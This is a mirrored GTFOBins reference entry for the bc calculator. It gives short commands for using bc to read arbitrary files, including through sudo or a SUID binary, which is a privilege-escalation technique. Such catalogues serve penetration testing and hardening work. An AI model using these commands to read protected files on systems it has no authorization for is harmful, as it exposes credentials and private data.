1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/bc.md

21 lines
422 B
Markdown
Raw Normal View History

---
description: The file content is actually parsed and appears as error messages, thus it might not be suitable to read arbitray binary files.
functions:
file-read:
- code: |
LFILE=file_to_read
bc -s $LFILE
quit
sudo:
- code: |
LFILE=file_to_read
sudo bc -s $LFILE
quit
suid:
- code: |
LFILE=file_to_read
./bc -s $LFILE
quit
---